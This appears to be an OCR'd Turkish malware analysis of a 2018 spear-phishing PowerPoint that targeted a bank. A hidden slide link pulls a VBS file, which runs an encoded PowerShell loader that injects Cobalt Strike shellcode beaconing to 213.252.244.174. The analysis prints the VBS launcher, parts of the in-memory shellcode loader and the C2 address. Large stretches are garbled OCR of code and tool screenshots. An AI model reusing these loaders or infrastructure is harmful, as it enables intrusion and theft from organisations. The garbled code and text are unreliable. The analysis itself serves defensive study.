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Son yillarda 6zellikle finansal kurumlara gerceklestirilen hedeflenmis siber

saldirilara (APT) bakildiginda, sizma testi uzmanlarinin da yakindan bildigi
Cobalt Strike aracinin kullanildigini gOrebilirsiniz. Hatta Rusya’'nin merkez
bankasi yetkililerine kulak verirseniz, 2017 yilinda bu aracla 240 bankaya
yapilan siber saldirilar sonucunda 17 milyon dolarin calindigini
ogrenebilirsiniz. Siber saldirganlarin taktik, teknik ve prosediirlerinin
basarili bir sekilde simidlasyonunu yapmaya imkan taniyan, 0zellikle gizli
haberlesme 6zelligi ile istismar sonrasi (post exploitation) kullanilan bir
ara¢c olan Cobalt Strike, 6zellikle giuvenlik teknolojileri ve insan kaynagi
yatirimdan yoksun kurumlara karsi kullanildiginda ciddi derecede sikintilara
yol acabilmektedir.

Bu hikaye 2018 yilinin Nisan ayinda, finansal kurumlara odeme sistemleri ve
¢ozumleri sunan bir firmanin calisaninin kurumsal e-posta adresinden, bir
bankanin calisanina e-posta gonderilmesiyle baslar. E-postanin ekinde yer
alan Powerpoint sunum dosyasina bakildiginda firma tarafindan hazirlanmis
masum bir dosya gibi gérinse de, guvenlik sistemlerinde alarm Uretip
engellenmesi sebebiyle sipheleri lzerine ceker ve ardindan bankanin glvenlik

analistleri tarafindan analiz edilmeye baslanir.

Powerpoint dosyasi acildiginda ortaya ¢ikan uyari mesaji, dosyanin iceriginde
baglantilar oldugunu isaret eder. Baglantilara detayli olarak bakildiginda,
uyari mesajinda c¢ikan “Update Links” butonuna basildiginda Litvanya’daki bir
sunucuya ait olan http://213[.]1252.244.174/download/ web adresinden file.ext

dosyasinin indirilip calistirilacagi anlasilir.


https://www.mertsarica.com/onum-arkam-sagim-solum-cobalt-strike/
https://www.mertsarica.com/onum-arkam-sagim-solum-cobalt-strike/
https://www.cobaltstrike.com/
https://www.ft.com/content/b813ab48-1b04-11e8-aaca-4574d7dabfb6
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Bu baglantinin sunum dosyasinin neresinde oldugunun 6grenilmesi igin ise

sunum.pptx dosyasi 7-Zip araci ile acilip ortaya c¢ikan klasdrlerde

213[.]252.244.174 adresi aratildiginda bu adresin

sunum\ppt\slides\ rels\slide29.xml.rels dosyasi ic¢inde, 29. slaytta oldugu

anlasilir. 29. slayta dikkatlice bakildiginda ise baglantinin sag alt koseye

gizlendigi goérulur.
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Haberler
“Festy Unveils Digital Currency Payments Wristband”

Combining two of the most hyped trends in fintech,
wearables and cryptocurvencies, lrish startup Festy has
unveiled a wristband that lets festival-goers make contactless

Amacg: Festivalde ddemeleri Dash dijital para birimini pryments in Dash,
kullanarak Ya pmak User add the Dash currency to their QR code and NFC-integrated

wristband and then use it to pay for food and drinks at POS terminals

where Visa contactless is accepted as well as on phones with NFC tags.
Kurumlar: Festy

Festy is linked direetly to a consumer's Dash aceount so transactions

oceur within seconds, while merehants have the ability to eash out their

Dash for the equivalent fiat currency.

Diash claims to be the world's leading digital currency for payments and
ntly the sixth most valued eryptocurrency at over §1.3 billion

1es that the eurrency is ideal for festivals, where Y-goers

often hove long waits in line to use ATMs that can charge several euros

per withdrawal.

Geaham de Barra, CEO, Featy: "Unlike existing traditional bank
pavinents that take a 2-5% fee, there is no cost on receiving Dash for
merchants, Merchants accepting payments will never have n

chargeback, and there are potentinlly enormous savings to be made

compared to the crippling fees from existing payment solutions.”

Haberler

“Festy Unveils Digital Currency Payments Wristband”

Combining two of the most hyped trends in fintech,

wearables and eryptocurrencies, Irish startup Festy has
unveiled a wristband that lets festival-goers make contactless

Amag: Festivalde ddemeleri Dash dijital para birimini prynients in Dash,
kullanarak yapmak User add the Dash currency to their QR code and NFC-integrated

wristband and then use it to pay for food and drinks at POS terminals
where Visa contactless is accepted as well as on phones with NFC tags.

Kurumlar: Festy

Festy is linked directly to a consumer's Dash account so transactions

oceur within seconds, while merchants have the ability to cash out their

Dash for the equivalent fiat curreney.

Dash claims to be the world's leading digital curvency for payments and
rently the sixth most valued eryptocurrency at over §1.3 billion,
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file.ext dosyasinin igerigine bakildiginda, VBS (Visual Basic Script) betigi
icerisinde cagrilan, base64 ile gizlenmis (encode) bir powershell betigi
oldugu gorilir. Bu betik cozildikten (decode) sonra ise bu defa bellekte bir
alana enjekte edildikten sonra CreateThread API’'si ile calistirilan, base64
ile gizlenmis baska bir kod ortaya c¢ikar. Cogunlukla son adimda ortaya c¢ikan
bu kod parcasi bir kabukkodu olur. (shellcode)



Bfie.ct 3 |Elspamii]
<html>
<head> §

<seript language="VBSeript">

»

i
2
3
- Sub window onload

5 const impersonation = 3

& Const HIDDEN_WINDOH =12

i § Set Locator = CreateCbject ("WbemScripting.SWbemlocatozr”)
8 Set Service = Locator.ConnectServer()

9 Service.Security_.ImpersonationLevel=impersonation

i}

-

1 Set objStartup = Service.Get ("Win32 ProcessStartup")

1 Set objConfig = objStartup.SpawnInstance_

12 objConfig.ShowWindow = HIDDEN WINDOW =
13 Set Process = Sexvice.Get("Win32_Process"™)

14 Error = Process.Create ("powershell.exe -nop -w hidden -encodedcommand
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p dure)
" .!'\of:r_; s thods = ([AppDomain]::Currentbomain, Getassemblies() | where-cbject { $_.clobalassemblyCache -and $_.Location.Split("\\")[-1].Equals( System.d11') }).GetType('Microsoft.win3. unsafen
ativemethods

return $var_unsafe_native_methods. GetMethod("GetProcaddress ). Invoke($null, &([System. Runtime. InteropServices. Handleref] (New-0bject System.Runtime. InteropServices.Handleref((new-object IntPrr), ($var_un
;afa_naﬂv!_mmds.aetkethﬂd('l:atnndu'leHandlﬂ'J).Imtkﬂ(srll'l'l. @(Svar_module)})), Svar_procedure))
function func_get_delegate_type {
ras{

Paran!h!rEPnsﬂinn = 0, Mandatory = STrue)] [Typnﬁi !l{:i‘_paral!t!rs.
Vo

" Parameter (Position = 131 [Type] Svar_return_type -
$var_type_builder = [ n]:;curnmmun. {nepynamicassesbly((New-object System.Reflection.assenblyname(’ReflectedDelegate’)), [System.Reflection.Emit.assemblyBuilderaccess]::Run). Definetynamicn
odule(’ lrumwoduh 3 Sfalse). Defin ('myDelegateType’, 'Class, Public. sealed, Ansiclass, autoClass’, [System.MulticastDelegat ')i

peJu-ﬂ \‘inecm“ruunr( R'\‘5uc¢a‘lum widesysig, publie’, [System.reflectien.callingConventions]: standard, svzr.para-evers) suxw‘lmzaﬁnrﬂ s{"runtime, Managed')
typeju lﬂer pefinemethod (" Invoke Public, nlde@ys{‘ gNems'lts(. viraal'. svarjeturmtweﬁvarjarmers) setImplementationFlags( Runtime, Managed L -

return Svar_type_builder.createtype()

time. Interopservices.Mar

_buffer = Rury Gatmugatsnr:nncunnnninur[(fum_get_lu-n:_a,ddnss kernel32.d11 wirtualalloc), (func_get_nel-gate_:ype e([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPt
rl))) lnwkeglxmptrj..zero $var_code, Length exaooo. Oxd

SySTem. RUNT 1me. Interopservices. ershﬂ]"cﬂw(svar code, 0, Svar_buffer, Svar_code.length)
ivar_hthread - Esys em, Runt ime. Interopseryvices.Marshall: :GetDelegateForFunct jonPointer {(func_get_proc_address kernel32,d11 createThread), (func_get_delegate_type ®([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt3
2], Tintetr } IntPtr]))). Invoke( [IntPEr]: ano‘o Svar_buffer,[IntPtr]::Zero,0, [IntPtr]: :Zero)
gyﬂm ?wv: mé, Interopservices.marshal]: i cetoeleq er {(func_get_proc_address kernel32.d11 waitrorsingleobject), (func_get_delegate_type @([intpre], [Int22]))).Imveke(Svar_htheead, OxFFFFFFFF) |

Ut -Nul

‘e

f ([Il‘\!ﬂ’l 14ize -eq 8)
t-job { para-(u) IEx §a } -Runas32 -argument $poIt | walt-job | Receive-lob

else {
16X $POIT

roattubuntui~# i

Kabukkodu xxd araci ile analiz edilebilir hale cgevrildikten sonra Radare2‘nin
rabin2 araci ile karakter dizilerine (strings) bakildiginda bunun
http(s)://213[.1252.244.174/QYKG adresi ile haberlesen bir HTTP(S) kabukkodu
olabilecegi anlasilair.

o Batcave X | 4k
B FARAAYIN Tod [TM 11101 3T6D7GK 3 {H/MCCSPGE BATmgWC BRA TG0, HRIA GOAGP JPERLNTSB1 JH/MCC SVITgkal T1geadoLBISB0E TEIC -
20265 | dABGH2 1 uaVROTHERD, VO TAAAABND phﬁ:huuu-\r_m\rzstcss ikJsZ?SgWN]R&AiLjA?IF mvd)«gnqgn myemc:msgm:g:ewﬁ:mjwu h h FivwFh h fox /L
vxdunpwafnmmnznJMunnaLsuun'ruwlz/c!wlmtsmmumganq(:uuswmmtn v/1¥NGATAZAAL J4GoEUGOT Vihl| /1L dXV1dWaC 0GGHY,/ 1 Wixldﬂs]res}axrrilJ/lYnHaEIJhxjHﬂl‘H.-"v?nnu Lmugmmmmmlmu
9 JoWTULD I S1daa /lvxlﬂi?LMDthlSij!/USMumjmjmnﬂxunk | bases4 --decode | xxd -p | xxd -F -p > shellcode-crek.bi
roncfubunci: ¢ File shellcode-crek. bin
shellcode-ctek.bin: data
rootéubuntu;—# i
o Batcave | o Batcave (1) x qar
FOOLAUbUNTL:—# rabing -2Z shellcode-ctek, bin T
[string 1
addr=0x00000 of or 5Im3 seCt STring=R0
addr 6 of 6 or 1 sz=3 sect stringsr(
addr a of! a or 574 sect string=a41
1 off 1 57ad Sect scringnn
addr of ar 573 sect
addr of or 57=3 sect
addr of or 52=3 sect
addr of or 52=3 sect
of s52z=3 sect
addr of or sz=3 sect
addr of or s7=3 sect
addr. aff ar $2=5 Sect t.r(ng 2
addr of or 57=3 SeCt
of or sz-m se(t'ion-url(rmn str1ng-ou[[avm
addr =0x00000088 of or Strings
addr =0x0000008F of or 3 32u6 sectionaunknoun string=]hnet
ad f or L6 52=11 section=unkngnn suing-h«inﬂh-&
addr of or 7 5Z=86 Sectjoneunknonn stri -l(ntj 1a/5.0
addr- d of d or 52e42 sectd str 1ng
addr of or sz-i se:\:im—unknwn s:rlng
addr. a off a ordina o Hng-kwlﬁuh vy
addr b of b or Rl o =[L
addr e of or 5Imd sECt str I'l
addr 142 of f=0x00000142 or sz=4 sect string
addr 49 off 0000149 ordinal=024 sz=3 sect str
55 off 55 ordinal=025 sz-4 sect string
addr 59 of 59 or 573 sect string
addr «0x000001 5f of f=0x0000015f ordinal=027 sz=8 sect str
addr-0x00000167 of f~0x00000167 or -028 sz-4 sect STring
addr 7 off 7 ordinal=029 5z=3 sect STring
7a of 7a 5za5 sect string
addr 84 off 84 or sZm8 sect str
addr 192 off 192 ordinal=032 sz=4 sect string
addr 1a7 off 1a7 ordinal=033 sz-6 sect strine
addr of f " 57=3 Sect STring
addr b3 off: b3 or sz=5 sect string
addr d5 off. d5 or szmf sect string
addr off 1e3 or s2=4 sect
addr of or 5Z=4 sect
addr & of B or 5Zm3 sect
addr d of d or 40 sz=4 sect
addr 202 of! 202 or 5Z=4 sectT =5vh
addr of or 042 s7=16 secti ik nge213.252. 244,174
43 str
rou:@ubunu -1
v



https://linux.die.net/man/1/xxd
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Kabukkodunu dinamik olarak analiz etmeden O6nce 213.252.244.174 IP adresi

cevrimdisi oldugu icin daha 6nce dinamik sistem analizi esnasinda Fiddler
araci ile elde edilen, https://213[.]252.244.174/QYkG adresinden indirilen
ancak okunakli olmayan pakedin (2. stage payload), Charles Proxy araci ile

test.com adresine yonlendirilmesi ve daha 6nce elde edilen paketi diskten

okuyup istekte bulunan herhangi bir programa géndermesi saglanir.

elerik Fi

File Edit Rules Tools View Help GET /book gEGeoEdge
C) +4 Replay X~ b Go ‘ Stream ;g% Decode | Keep: All sessions ~ @Any Process 33 Find [l Save E@ @ @ Browse - @ Clear Cache /T TextWizard | [& Tearoff <
Pro... Host URL Body Caching Content-Type Process - "= Timeline
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 3104 # AutoResponder
00 HTTPS 213.252.244.174  [QvkG 206,900 application/... powershell:3104 [ IHeaders | TextView | WebFaorms | HexView | Auth | Cookies
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell:3104 Raw | 150N | ML |
00 HTTFS 213.252.244.174 fen_US/all.js 0 applicationf... powershell:3104 LT
00 HTTP Tunnel to 213.252.244. 174:443 613 powershell: 3104 =i & i A
|00 HTTPS 213.252,244.174 fen_US/all.js 1} application/... powershell:3104 GET /QYkG HTTP/1.1
00 HTTP Tunnel to  213.252.244. 174:943 613 powershell: 3104 Cache
00 HTTPS 213.752.244.174 jen_US/all.js 0 application/... powershell:3104 Cache-Control: no-cache
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 3104 Client : . o . .
0o HTTPS 213,252.244.174 fen_US/al.is 8 application... powershell:3104 Trai::fe”t' okl Ui fcompatiNeHRIED:DalMndows HLG: L MICHE
00 HTTP Tunnel to 213.252.244, 174: 613 powershell: 3104 Host: 213,752,244, 174
00 HTTPS 213.252.244.174  fsubmit. php?i i} text/hitml powershell: 3104
00 HTTP Tunnel to 213,252,244, 613 powershell: 2300
| 213.252.244.174 k ; application)... ] o | n
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2900
o0 HTTPS 213.252.244.174 Jen_US/all.js 0 application/...  powershell: 2500 GetSyntaxView | Transformer | Headers | TextView | ImageView
00 HTTP Tunnelto 213,252,244, 174443 613 powershell:2500 [Hexview | webview | Auth | Caching | Cookies | Raw |
00 HTTPS 213.252.244.174  fen_UUS/all.js 0 application/... powershell: 2900 150N | ML |
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2900 T HITD/11 =
00 HTTPS 213.252.244.174  fen_US/all.js 0 application/... powershell: 2500 30 30 20 4F 4B 0D OR 43 200 OE..C [—
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2900 €E 74 €5 €E 74 2D 54 79 ontent-Ty =
00 HTTPS 213.252.244.174 fen_US/all.is 0 application/... powershell: 2500 €S 3R Z0 €1 7O 70 €C €3  pe: appli
A5 €1 74 €3 €F 6E ZF €F €3 cation/oc
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2300 65 74 ZD 73 T4 T2 €5 &1 e
00 HTTPS 213.252.244.174 fen_US/all.js 0 application/...  powershell: 2500 0D OR 44 €1 74 65 3R Z0 m..Date:
00 HTTP Tunnel to  213.252,244, 174:443 513 powershell: 2900 :3 gj gg ;E :: :g :1 32 -:E:E\l: illli
00 HTTPS 213.252,244.174  fen_US/al.js 1] application/... powershell: 2900 36 33 32 35 36 20 47 4D Sos-sE oM
00 HTTP Tunnel to 213,252,244, 174,443 613 powershell: 2900 0D OR 43 74 €5 €E T..Conten
00 HTTPS 213.252.244.174  Jen_US/all.js 0 application... powershell: 2900 2? 4C Ef 7 74 €8 3R trbfngthf
00 HTTP Tunnel to  213.252.244, 174:443 613 powershell: 2900 :; g; :; g: 23 gg 32 gi‘ _f;;i??}'}:
|00 HTTPS 213.252,244.174 fen_US/all.js 0 application/... powershell:2900 08 BB F9 C1 EY 02 BB 5C 3. _ahé. A\
00 HTTF Tunnel to 213,252,244, 174:443 613 powershell: 2500 04 31 5C 07 08 B3 EF 04 1\ i
00 HTTPS 213.252.244.174 Jen_US/all js 0 application/...  powershell: 2300 ,;fg g: i:i ;E g; ;2 gi l";ll? Il‘;.ojgééoé;
00 HTTP Tunnel to  213.252.244. 174:443 613 powershell: 2300 51 8F DA 4C 51 A7 D3 4C  #Q@.ULOSUL
00 HTTPS 213.252,.244.174 fen_Us/all.js 0 application/...  powershell: 2500 o DS 32 4C 1C DS 32 17 4E .621..6?.1\1
-: t— | - e mam e s ‘—‘".[m cam ' e : €7 SE ARE 11 A4 EC ZB 11 -g.®.Hit. -
JiQuiciExec ALT+Q > tpe HELP o learnmore ] ==

;ﬁifg_ﬁ,lgmfiﬂg = All Processes 1186  https:f/213.252,244. 174/QYkG [ safely Remove Hardware and Eject Media |


https://www.telerik.com/fiddler
https://www.charlesproxy.com/

179:443 613 pOWers Client

= F —— —— - T
Telerik Fiddler Options ] ——— - () |8 Wind
174 e — |E=
| General | HTTPS I Connecﬁons| Gateway |Appearan::e | Extensions | Performance | Tools |
175 By default, Fiddler "chains"to the system's default proxy (Client-= Fiddler -= Gateway -> Web).
These settings allowyouto override that behaviar.
178
d=¢ (™) Use System Proxy (recommended)
178 (™) sutomatically Detect Proxy using WPAD
17 i@ Manual Proxy Configuration:
127.0.0.1:8889
174 . =
Bypass list: <local =;* extranet.example. com;
174 (@) No Proxy
175 Show Current Gateway Info
174
173
Help Mote: Changes may not take effect until Fiddleris restarted. [
178

! Charles 414 - Session 1 *

i -

File Edit View Proxy [Tools| Window Help
Y E ‘- N Caching... Curl+Alt+N
Structure [ Block Cookies.., Crl+Alt+C
v Map Remote... Ctrl+Alt+M
-3 v Map Local... Ctri+Alt+L
3 Rewrite... Ctrl+Alt+R
d Black List... Ctrl+Alt+B
!éll White List... Ctrl+Alt+W
DMS Spoofing... Ctrl+Alt+D
;ﬁ“ Mirrar... Ctrl+ Alt+1 :
Auto Save.. Ctri+ Alt+ A |
Client Process.., Il
3 Compose Ctrl+M E
Compose MNew... Cirl+Shift+M ||
Repeat Ctrl+5Shift+R =
Repeat Advanced... |
Validate
? Publish Gist I
i | Irmport/Export Settings... I
Profiles...
Publish Gist Settings...

|! CONNECT https://sslgstatic.com Mzp locsl | | Mazp Remote || Recording |




Stack | ﬁs&l | !ﬂ Saipt | E‘ISEEE | <2 Sgurce | ' References | S Threads | ﬂ Snowman | iHamies | %7 Trace |

% Charles4.14 - Session 1+ (=B & J§
File Edit View Proxy Tools Window Help }:
: )
% E ‘a ® @ ({ : editMapping (S )
i
Stiucture | SE““E“Cf| Map From lj
)
Host  |213.252244174 | |
9 ool *
g ]
E Modf|  Path | | '
{
el Queny: | |
d 1
[ (
| MapTo 1
el I Protocol: I :
Host: |www.test.com | :
Pot: | | !
)
Path: | | 1
cuet | | !
1
Preserve Host header I Jl
3
! I To map from a path and its subdirectories you must end the path with a = Te map an I A
) L || entire host leave the path biank | i
3
é o
oK || Cancel || Help |
|
=
L
i CONNECT hitps://zsigstatic com Mzp locsl || Mazp Remots || Recording

TR TE S FRRRI AT FETTIIPTT TTT REFNE T 17 FRRh L



" T ——"— e e L s L e L .

—_— ~
Charles 4.14 - Session 1 * (== 2§
File Edit View Proxy Tools Window Help é
o £ pC
Y (fme FCv X@ :
Structure |Sequence| é
‘ bC
i E
7 % Edit Mapping [ !
o r 2
3l ¥ M§| MapFrom I::II
c
Haost: |www,test.corr" | -
d C
4 o [ ] :
C
| Path:  |/QVG | | )
C
Query: | | i
C
C
Map To hC
C
Local path: |G\Users\Mert\Desktop\lU_.txt | ’ Choose ] E
F
I 0
u
En
To map from a path and its subdirectories you must end the path with 2 ® To map an m
9 entire host leave the path blank.
| C
*
I b
4 OK || Cancel || Help | 1
|
_i
CONNECT hitps-//zsigstatic com Msp Locsl | | Map Remote || Recording |

TOETFI[ 7EBeIITTECUNT TO Rerner3z2.7 3

p—
File Edit Disk Options Tools Plug-lns Window Help

2eHeH LA 2 AaBS e
PBEE ARG B [
5 e

A O 1| 2 |53 A s e rei]ien A [iE | el DR |ERl 0|11 121113 |[§123456789ABCDER0123 [ D""““m:"' MIII]IJIJ;I]IJ =

g 00000000 B 25 8B 48 04 33 08 BB F9 C1 ES 02 8B 5C 07 04 31 5¢ _%X'.H.3....... pUN L | Vmat o .

<|[loocooo14 07 o8 04 49 75 F2 8B 18 31 58 08 61 €3 CO 08 FF EO B |....-Tu..-1¥.@.:.u-- () Jf e -2 =

2| [loocooo28 D6 FF 51 BF DA 4C 51 A7 D9 4C 1C D5 32 4c 1c D5 32 17 Bes (I o =

5| [locoooozc 4& g0 AB 11 A4 EC 2B 11 A4 13 F8 98 67 44 90 9C 67 44 gD..gD i 907

~|[looooooso so cc F8 3C 2D 36 AE 54 28 36 AE 54 78 C9 7D 54 78 C9 ..... <-6.T(6.Tx.}Tx. ue I =
00000064 7D 54 7D 54 78 €9 7D 54 78 €9 8D 54 78 €9 83 4B C2 C7 }Tx.}Tx.}Tx..Tx..K.. il JoiEall
00000078 &3 FF A2 47 CA 46 6F 66 9E 2F 06 15 BE 5E 74 7A D9 2C ..... G.Fof. .o “tz., uint32 - 1616383611
0000008C 15 17 74 79 97 20 00 59 F5 45 20 2B 80 2B 00 42 EE 0B ...0ty. .Y.E +.+.B.. Ints 3676142950095... [
000000R0 44 0D 29 62 D9 4E 07 6F D4 44 23 6F D4 44 23 6F D4 44 D..+)b._N.o.Df#o.Di#o.D uintfd  3676142950295...
D00D000B4 BC BD 67 OE BA 17 BC BD C8 52 67 OE BA 17 01 F2 SE 52 half float;; 23L17085e 002
Doo000CE DB 41 1E A0 DA 52 EC 13 A8 17 29 F2 4F 52 E1 41 3D 17 fout BN eellL
000000DC 24 A0 7E 13 BE 17 82 66 B7 52 56 D5 C5 17 8D 66 B6 52 double.  GIGMSTE06) B
00D000FO 8B DS 4E 34 3F 52 2C 87 4D 17 ES 66 AD 52 33 DS DF 17 NATE sl
00000104 Fé 34 2c 87 4E 17 7E EE 2D 7F A5 SD SF 3A AS 5D S5F 3A Expresson Cakc > oax
00000118 AS 5D AS 5D SF 3A AS SD SF 3A F5 18 SF 3A B9 19 S5A 3a [signed ~|[32bit +|
0000012C B9 19 B9 19 SA 3A B9 19 SA 3A 59 19 58 9B 52 18 51 9B ..Z:..2:. SRR ,_I1 ]
| 00| IE T h

’:.'shl.lduws[ ']g/ﬂ-lﬁﬂ’ ‘l:& @ 1|2' l: Compare Results All v G [ X |

*| Member 1% Value (dec) & Value he) o Size &) i Type Source [§)  Count @)  Count &)  Target Count Count

g._4 — - j-%we &, Checksum | [l Find | 4 Bookmarks | (&) Outputt |

£

Cursor: 00000127 c-m:mommi Safely Remove Hardware and Eject Media ]




'-xSZdbg File: calc.exe - PID: 5D8 - Module: calc.exe =@

Fie v ug  Trace  Plugins Dex 26 2017
B "R H——n—u-.-_w——...—.n..—u
;1Ti_%l%‘ .wmr"'tg". " " . . (ol e
B cu ® Graoh | [hlog - . 4 e ¥ e T Y 4 r—
O0BGZEES File Edit View Proxy Tools Window Help
i &
' 3E @ - @ ,’ C v > b
! . 'jggE;r-_g" Structure ‘ vaewlkequ:ﬂl Response | Summal |Chl|‘t| Notes|
i o | 00863ESC
H o 00BE3ESD = () hitps:/fwww.test.com HTTP/1.1 200 OK I
i : 00B63EA4 \ L Content-Length: 206000 @
; % FO0SESEAS @ () httpy//ed.microsoft.com Content-Type: text/plain
i i K-Charles-Map-Local: C\Users\Mert\Desktop'\10_txt
| peee Connection: Keep-alive
i1 e|oose3car
{1 e|538e3ce0 SUXHH 3 9000 4L 1\ 90 1up 11 200 $006000000L000L 92L 92 NOISH ¢
E i : §GoFofy. &'tz@, Oty YGE~$+ B D

4+bgN 090%cf0=0g0D44 4R & 49483 & S ROA 44RG & 100RGA: SG9R- ¢
99990409004 0l e 0™~ D~ €00T70v000| Ol 67~ 91001672097eUD || Ecess)
g_0**000!00'1R02M0!R6‘000‘W00"W OV 99U §9EPOEHTIG W G >u T

|
& VIHMHRA & 01 GONGHN SN 944
06 €0 900K OKIOL O en(@] (7 GUW-& W+ o & &[0 990 Gucd! cHK § =cM |
TréaToeld Fodbcd|910 G&/OTH/ Qoo pt-G2t~ = -0 00910 00ROHO 000X

| 9660900 000090900 900090900190090009.99090909:0000000000006 )5 [+ [ unlocked

eaxm1 7@k §F HHVF HOF 04 49100099 YOS 06009 LEGIIHH019dH3§.§eHD=THD(
GHE2P NQTrB.+~
: 1] 1$53€ A0 4

EEXC:O0863ERS Call c- exe: SEIEN 360%0“0 00 90090°000:.: § ¢ 9D0r9r920:93i<91IV9%HOIPOHDIS " "0 "¢
$ourp1 | goump2 | @D ¢ @i 9-99'000099009 90990010000 9L19dGHTUHH0H GH9=-999° <
Address Hex | 9“0“&0“00 1929419 0EQ Q92T LTV G v/ 96
04200000 | EB) 25 58 60
04200010 |07 04 31 5C 07b 070’0‘00'00090540“: o

@000000-&0 Dé 996 900vLH 99 99001 TOM 99000000 9000 I

] L4 Sy W) TWE 90099 9° Hde

8 6Te0d92 993 4 GONIO & & "0 "%y 910000007200 000(R90C000CHOL
I QNGEGEN- EMmGYErGy 9 Hi-92\+920mb §an 190 HHETHMMG H(HA |8 KD ISg@*

3| ® §59.09 979949 105909-990M3q9 L1OHEL 4999 NPQL.9+PHEIT RGTHE

=0 | 00809 6K Z60FH= &MI9Q100LE: 0000/ 0[Hole

0400 | EC 13 As 27|23 d3eUC ALY ||
042000E0 | 7E 13 BE 1782 &6)| 0006) 000 ©06IN0he S0V 000 KE G102 0000000 08 00 % i
042000F0 | BB D5 C4 17|4E < [m]

04200100 33 D5 DF 17 (F6

Headers Tm|H= Raw

Cher

is active

| P:\__-'Bﬁd |INT3 breakpoint at cakc.0036 3T (D0BE R CCleaner moni

Dinamik sistem analizi esnasinda Fiddler ile kayit edilen HTTPS trafiginde
yer alan gizlenmis Cookie bilgisine gore bu kabukkodunun Cobalt Strike
aracina ait oldugu ihtimali guclenir.


https://www.cobaltstrike.com/help-malleable-c2

Edit

Rules Tools

View Help GET /bock

E Geokdge

Keep: All sessions - @ Any Process 3 Find Save E@ @ @ Browse - @ Clear Cache T TextWizard | [ Tearoff -

C) 3 Replay X + b Go * Stream %‘::% Decode
Pro. Host URL Body Caching Content-Type Process
00 HTTP Tunnel to 213.252.244.174:443 613 powershell: 3104
00 HTTPS 213.252.244.174 [QYkG 206,900 application/... powershell:3104 Tl
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 3104
00 HTTPS 213.252.244.174  fen_US/all.j= 0 application/... powershell:3104
00 HTTP Tunnel to 213.252.244. 174:443 613 powershell: 3104 E
|00 HTTPS 213.252,244.174 fen_US/all.js 0 application/... powershell:3104
00 HTTF Tunnel to 213,252,244, 174:443 613 powershell: 3104
00 HTTFS 213.252.244.174  fen_U5/all.js i} application/... powershell:3104
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 3104
i 213.252,244.174 fen_US/all.js 43
00 HTTP Tunnel to  213.252.244. 174 613 powershell: 3104
00 HTTPS 213.252.244,.174  fsubmit. php?i a text/html powershell: 3104
00 HTTP Tunnel to 213,252,244, 174: 613 povwegaEalbA00 s,
00 HTTPS 213.252.244.174  [QYkG 206,900 application/...  poOWEFSRENZEOD
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2300
|00 HTTPS 213.252,244.174 fen_US/all.js i} application/... powershell: 2500
00 HTTP Tunnel to  213.252.244. 174:443 613 powershell: 2300
00 HTTPS 213.252.244.174  fen_US/all.js i} application/...  powershell: 2500
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2900
00 HTTPS 213.252.244.174 fen_Us/all.js 0 application/...  powershell: 2500
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2900
00 HTTPS 213.252.244.174  fen_US/all.js i} application/... powershell: 2900
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2300
00 HTTFS 213.252.244.174  fen_US/all.js 0 application/...  powershell: 2500
00 HTTP Tunnel to 213.252.244, 174:443 613 powershell: 2300
00 HTTPS 213.252,244.174 fen_US/all.js 0 application/... powershell:2900
00 HTTP Tunnel to 213,252,244, 174443 613 powershell: 2300
00 HTTPS 213.252.244.174  fen_US/all.j= 0 application/... powershell: 2900
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2900
00 HTTPS 213.252.244.174 fen_Us/all.js 0 application/... powershell:2900
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2900
00 HTTPS 213.252.244.174  fen_US/all.js i} application/...  powershell: 2500
00 HTTP Tunnel to 213,252,244, 174:443 613 powershell: 2300
00 HTTPS 213.252.244.174 fen_US/all.js 0 application/...  powershell: 2500 e

n

IHeaders | TextView | WebFaorms | HexView | Auth | Cookies
| mon | x|

GET /en_US/all js HTTPA1.1
Cache

Cache-Control: no-cache
Client

Accept: **

User-Agent: Mozillaf4.0 {compatible; MSIE 7.0; Windows NT 6.0; Trident
Cookies
[=] Cookie

FkARXpx34033M04GWZBSr 5KT 1735eUnksm5835dY GMIyalyHR23PS
ansport
Connection: Keep-Alive
Host: 213,252,244, 174

Raw

4| 111 3

TextView | ImageView |
Cookies | Raw |

Get SyntaxView | Transformer | Headers

IHex\ﬁew | WebView | Auth | Caching |

54 54 50 ZF 31 ZE 31 20 HTTPf1.1 P

30 30 Z0 4F 4B 0D OA 43 200 OEK..C [j

EE T4 65 6E 74 2D 54 79 ontent-Ty

65 3L 20 61 70 70 &C &9 pe: appli

61 74 €5 6F 6E ZF €F €3 cation/oc

€5 74 ZD 73 T4 72 €5 €1 tet-strea

0D OR 44 €1 T4 €5 34 20 m. .Date: B

€5 €4 2C 20 34 20 41 70 Wed, 4 Rp 5

20 32 30 31 38 20 31 31 r 2018 11

30 33 3h 31 34 20 47 4D s03:14 GM

0D QR 43 6F 6E 74 €5 €E I..Conten

2D 4C €5 € t-Length:

34 38 0D 48__.__.L L3

LS S8 E1 &C FF 55 OB FB ﬁ.@.éli‘U_l‘:

FS 70 FA AT 7D ES FC 5h Tlapas}EEZ

94 88 27 €€ D5 OF 02 B2 At e G ~
Readonly

:-\;} Capturing

= Al Processes

1/186

https: {213,252, 244. 174/en_US/all.js

Speakers: 67% k !

Kabukkodunu dinamik olarak analiz etmek icin Code Cave ydnteminden

faydalanilarak ilgili kabukkodu (shellcode-ctek.bin), calc.exe programinin

son bolumindeki bos alanlara (000000000..) yerlestirilir ve bu kod parcasina

kesme noktasi (breakpoint) koyularak program akisinin kabukkodundan devam

etmesi (CreateThread) saglanarak, kod parcasi analiz edilmeye calisilir.


https://en.wikipedia.org/wiki/Code_cave
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Debug Trace Plugins

Favourites

Options

Help Dec 26 2017

taws talPEaPh# o

LEe®

